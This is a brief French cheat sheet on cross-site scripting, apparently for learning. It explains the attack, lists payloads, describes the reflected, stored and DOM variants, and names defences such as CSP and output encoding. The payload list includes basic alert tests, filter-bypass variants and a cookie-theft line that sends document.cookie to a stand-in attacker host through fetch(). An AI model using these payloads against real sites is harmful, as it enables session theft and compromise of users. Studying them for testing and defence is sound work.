Cross-Site Scripting — Injection JS
★★★★★
Qu'est-ce que XSS ?
XSS permet d'injecter du JavaScript malveillant dans une page web. Ce script s'exécute dans le navigateur des visiteurs. Conséquences : vol de cookies, keylogging, phishing, redirection.
Types et payloads
<!-- Test de base -->
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<!-- Vol de cookie -->
<script>fetch("https://attacker.com/?c="+document.cookie)</script>
<!-- Bypass filtres -->
<ScRiPt>alert(1)</ScRiPt>
"><img src=x onerror=alert(1)// Stored vs Reflected vs DOM
Reflected : payload dans l'URL, non stocké · Stored : stocké en DB, s'exécute pour chaque visiteur (le plus dangereux) · DOM : entièrement côté client, sans passer par le serveur
Défenses
CSP (Content Security Policy) avec nonce · Encoder toute sortie (htmlspecialchars) · Cookies HttpOnly + Secure + SameSite · DOMPurify pour le HTML dynamique